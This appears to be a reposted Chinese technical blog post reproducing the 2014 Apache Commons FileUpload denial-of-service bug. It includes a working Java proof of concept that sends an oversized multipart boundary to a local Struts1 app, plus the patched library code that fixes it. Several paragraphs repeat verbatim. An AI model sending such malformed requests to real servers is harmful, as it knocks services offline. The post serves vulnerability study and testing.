重現apache commons fileupload DOS漏洞
阿新 • • 發佈:2019-02-10
注:本文僅供技術探討, 研究,測試使用。
這個漏洞是2014年2月4日被發現的, 因為該元件試用範圍非常廣, 所以該漏洞的影響也非常巨大。通過特製的包含畸形header的http請求,可以導致使用該元件的應用程式進入無限迴圈從而耗盡CPU等資源並最終崩潰。
該漏洞出現在fileupload 1.3和以前的版本, apache在漏洞發現之後很快釋出了1.3.1版本修復了該bug。
稍微有點好奇的我,就下載了fileupload的1.3和1.3.1的原始碼並比較了一下, 發現問題的原因就在於, 它在解析/讀取上傳內容的時候,使用了一個長度為4096的buffer,它不斷的讀取內容到buffer並用boundary來判斷是否一個附件結束。但是如果一個boundary加上CR/LF外加兩個dash(-)的長度本身就超過了buffer的長度的話, 會導致解析進入死迴圈。所以apache在fix這個bug的時候,會判斷boundary的長度是否大於buffer的長度。如果是就拋異常。如下的程式碼片段出現在FileUploadBase.java和MultipartStream.java中:
有興趣的可以下載原始碼並詳細研究一下。
轉載請註明來自: http://blog.csdn.net/sunxing007
這個漏洞是2014年2月4日被發現的, 因為該元件試用範圍非常廣, 所以該漏洞的影響也非常巨大。通過特製的包含畸形header的http請求,可以導致使用該元件的應用程式進入無限迴圈從而耗盡CPU等資源並最終崩潰。
最近因為在修補struts1的可操縱classLoader的漏洞(struts2也有該漏洞, 不在本文討論範圍), 所以我就在我建立的struts1的專案上直接做測試,怎麼建立struts1的專案不在本文討論範圍之列你可以在這裡下載struts1樣例程式(http://download.csdn.net/detail/sunxing007/7350433)。 只需要建立一個最簡單的hello world的struts1程式即可。然後啟動tomcat並部署專案。
然後用apache http component 元件寫一個程式來發起一個“帶特製的包含畸形header的http請求” 關鍵程式碼如下(在下載的附件中有HttpUtil.java包含完整的程式碼):
執行該程式, 你會發現該程式無法返回, 開啟工作管理員,會發現CPU使用率為100%; 關閉tomcat後 CPU的使用率馬上降到正常水平。public static void testCommonFileUploadVelnerability() throws ClientProtocolException, IOException{ CloseableHttpClient httpClient = createHttpClient(); HttpPost post = new HttpPost("http://localhost:8080/Struts1/helloWorld.do"); String boundary = ""; for(int i=0; i<4092; i++){ boundary += "a"; } post.setHeader("Content-Type", "multipart/form-data; boundary=#{" + boundary + "}"); post.setHeader("lf-None-Match","59e532f501ac13174dd9c488f897ee75"); String body = ""; for(int i=0; i<4097; i++){ body +="b"; } post.setEntity(new StringEntity(body)); CloseableHttpResponse response = httpClient.execute(post, DEFAULT_CONTEXT); HttpEntity entity = response.getEntity(); System.out.println(EntityUtils.toString(entity)); System.out.println("Over!"); }
該漏洞出現在fileupload 1.3和以前的版本, apache在漏洞發現之後很快釋出了1.3.1版本修復了該bug。
稍微有點好奇的我,就下載了fileupload的1.3和1.3.1的原始碼並比較了一下, 發現問題的原因就在於, 它在解析/讀取上傳內容的時候,使用了一個長度為4096的buffer,它不斷的讀取內容到buffer並用boundary來判斷是否一個附件結束。但是如果一個boundary加上CR/LF外加兩個dash(-)的長度本身就超過了buffer的長度的話, 會導致解析進入死迴圈。所以apache在fix這個bug的時候,會判斷boundary的長度是否大於buffer的長度。如果是就拋異常。如下的程式碼片段出現在FileUploadBase.java和MultipartStream.java中:
try { multi = new MultipartStream(input, boundary, notifier); } catch (IllegalArgumentException iae) { throw new InvalidContentTypeException( format("The boundary specified in the %s header is too long", CONTENT_TYPE), iae); }
public MultipartStream(InputStream input,
byte[] boundary,
int bufSize,
ProgressNotifier pNotifier) {
if (boundary == null) {
throw new IllegalArgumentException("boundary may not be null");
}
this.input = input;
this.bufSize = bufSize;
this.buffer = new byte[bufSize];
this.notifier = pNotifier;
// We prepend CR/LF to the boundary to chop trailing CR/LF from
// body-data tokens.
this.boundaryLength = boundary.length + BOUNDARY_PREFIX.length;
if (bufSize < this.boundaryLength + 1) {
throw new IllegalArgumentException(
"The buffer size specified for the MultipartStream is too small");
}
this.boundary = new byte[this.boundaryLength];
this.keepRegion = this.boundary.length;
System.arraycopy(BOUNDARY_PREFIX, 0, this.boundary, 0,
BOUNDARY_PREFIX.length);
System.arraycopy(boundary, 0, this.boundary, BOUNDARY_PREFIX.length,
boundary.length);
head = 0;
tail = 0;
}
有興趣的可以下載原始碼並詳細研究一下。
轉載請註明來自: http://blog.csdn.net/sunxing007